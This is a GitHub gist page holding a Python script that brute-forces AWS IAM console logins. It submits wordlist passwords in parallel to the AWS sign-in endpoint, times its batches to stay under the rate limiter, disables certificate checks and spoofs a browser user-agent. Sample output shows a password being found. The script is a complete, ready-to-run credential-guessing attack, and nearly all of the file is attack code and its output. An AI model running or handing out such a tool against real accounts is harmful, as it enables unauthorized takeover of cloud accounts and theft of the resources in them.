-
-
Save christophetd/6cedf145e5a4ff1ba144747b734c114a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Sample usage: | |
python brute-aws-parallel.py --account-id 751353041310 --username christophetd --wordlist $HOME/wordlists/passwords/500-worst-passwords.txt | |
Sample output: | |
Trying 499 passwords at a max rate of 30 passwords every 6 seconds | |
6.0 % done (30/499) passwords tried, estimated 1m44s remaining | |
12.0 % done (60/499) passwords tried, estimated 1m36s remaining | |
18.0 % done (90/499) passwords tried, estimated 1m32s remaining | |
24.0 % done (120/499) passwords tried, estimated 1m23s remaining | |
30.1 % done (150/499) passwords tried, estimated 1m16s remaining | |
36.1 % done (180/499) passwords tried, estimated 1m10s remaining | |
42.1 % done (210/499) passwords tried, estimated 1m3s remaining | |
48.1 % done (240/499) passwords tried, estimated 57s remaining | |
54.1 % done (270/499) passwords tried, estimated 50s remaining | |
60.1 % done (300/499) passwords tried, estimated 44s remaining | |
66.1 % done (330/499) passwords tried, estimated 37s remaining | |
72.1 % done (360/499) passwords tried, estimated 31s remaining | |
78.2 % done (390/499) passwords tried, estimated 24s remaining | |
84.2 % done (420/499) passwords tried, estimated 17s remaining | |
90.2 % done (450/499) passwords tried, estimated 10s remaining | |
96.2 % done (480/499) passwords tried, estimated 4s remaining | |
==================== | |
Found password for christophetd: rush2112 | |
==================== | |
(execution time 1m47s for 499 passwords => 4.6 passwords per second = 276 passwords per minute | |
""" | |
#!/usr/bin/python3 | |
import argparse | |
from concurrent.futures import ThreadPoolExecutor | |
import time | |
import requests | |
requests.urllib3.disable_warnings() | |
parser = argparse.ArgumentParser() | |
parser.add_argument('--account-id', '-id', required=True, default=False, metavar='account_id', type=str) | |
parser.add_argument('--username', '-u', required=True, default=False, metavar='username', type=str) | |
parser.add_argument('--wordlist', '-w', required=True, default=False, metavar='file_path', type=str) | |
args = parser.parse_args() | |
RATE_LIMITER_THRESHOLD=30 | |
def try_login(account_id, username, password): | |
headers = { | |
'referer': 'https://signin.aws.amazon.com', | |
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' | |
} | |
data = { | |
'action': 'iam-user-authentication', | |
'client_id': 'arn:aws:signin:::console/canvas', | |
'redirect_uri': 'https://console.aws.amazon.com/console/home', | |
'account': account_id, | |
'username': username, | |
'password': password | |
} | |
response = requests.post( | |
'https://signin.aws.amazon.com/authenticate', | |
headers=headers, | |
data=data, | |
verify=False | |
) | |
return password, response.text | |
def chunk(list, chunk_size): | |
for i in range(0, len(list), chunk_size): | |
yield list[i:i + chunk_size] | |
def pretty_print_seconds(seconds): | |
sign_string = '-' if seconds < 0 else '' | |
seconds = abs(int(seconds)) | |
days, seconds = divmod(seconds, 86400) | |
hours, seconds = divmod(seconds, 3600) | |
minutes, seconds = divmod(seconds, 60) | |
if days > 0: | |
return '%s%dd%dh%dm%ds' % (sign_string, days, hours, minutes, seconds) | |
elif hours > 0: | |
return '%s%dh%dm%ds' % (sign_string, hours, minutes, seconds) | |
elif minutes > 0: | |
return '%s%dm%ds' % (sign_string, minutes, seconds) | |
else: | |
return '%s%ds' % (sign_string, seconds) | |
SLEEP_INTERVAL_SECONDS = 6 | |
if __name__ == '__main__': | |
passwords = open(args.wordlist).read().splitlines() | |
num_passwords_to_try = len(passwords) | |
chunked_passwords = chunk(passwords, RATE_LIMITER_THRESHOLD) | |
failed = 0 | |
print(f"Trying {len(passwords)} passwords at a max rate of {RATE_LIMITER_THRESHOLD} passwords every {SLEEP_INTERVAL_SECONDS} seconds") | |
for chunk in chunked_passwords: | |
# Try in parallel every batch of 30 passwords | |
start_time = time.time() | |
pool = ThreadPoolExecutor(max_workers=len(chunk)) | |
tasks = [] | |
for password in chunk: | |
task = pool.submit(try_login, args.account_id, args.username, password) | |
tasks.append(task) | |
# Retrieve results | |
for task in tasks: | |
password, result = task.result() | |
if "SUCCESS" in result: | |
print("=" * 20) | |
print(f"Found password for {args.username}: {password}") | |
print("=" * 20) | |
exit(0) | |
elif "wait" in result: | |
raise RuntimeError("the rate limiter unexpectedly kicked in: " + result) | |
elif "FAILURE" in result: | |
failed += 1 | |
num_passwords_to_try -= 1 | |
else: | |
raise RuntimeError("unexepected response: " + result) | |
time.sleep(SLEEP_INTERVAL_SECONDS) # sleep to avoid triggering the rate limiter | |
progress_percent = round(100 * failed/len(passwords), 1) | |
time_spent_seconds = time.time() - start_time | |
passwords_per_second = len(chunk)/time_spent_seconds | |
remaining_time = pretty_print_seconds(num_passwords_to_try/passwords_per_second) | |
print(f"{progress_percent} % done ({failed}/{len(passwords)}) passwords tried, estimated {remaining_time} remaining") | |
print("Did not find password") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment